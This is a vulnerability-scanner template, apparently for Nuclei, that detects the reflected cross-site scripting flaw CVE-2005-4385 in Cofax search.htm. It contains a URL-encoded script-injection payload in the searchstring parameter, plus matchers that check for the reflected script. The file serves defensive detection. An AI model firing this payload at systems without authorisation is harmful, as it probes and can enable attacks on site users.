id: CVE-2005-4385
info:
name: Cofax <=2.0RC3 - Cross-Site Scripting
author: geeknik
severity: medium
description: Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
remediation: |
Upgrade to a version of Cofax that is not affected by this vulnerability or apply the necessary patches provided by the vendor.
reference:
- http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html
- https://nvd.nist.gov/vuln/detail/CVE-2005-4385
- http://www.vupen.com/english/advisories/2005/2977
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2005-4385
cwe-id: NVD-CWE-Other
epss-score: 0.00294
epss-percentile: 0.65722
cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cofax
product: cofax
tags: cofax,xss,cve,cve2005
http:
- method: GET
path:
- "{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'>\"</script><script>alert(document.domain)</script>"
- type: status
status:
- 200
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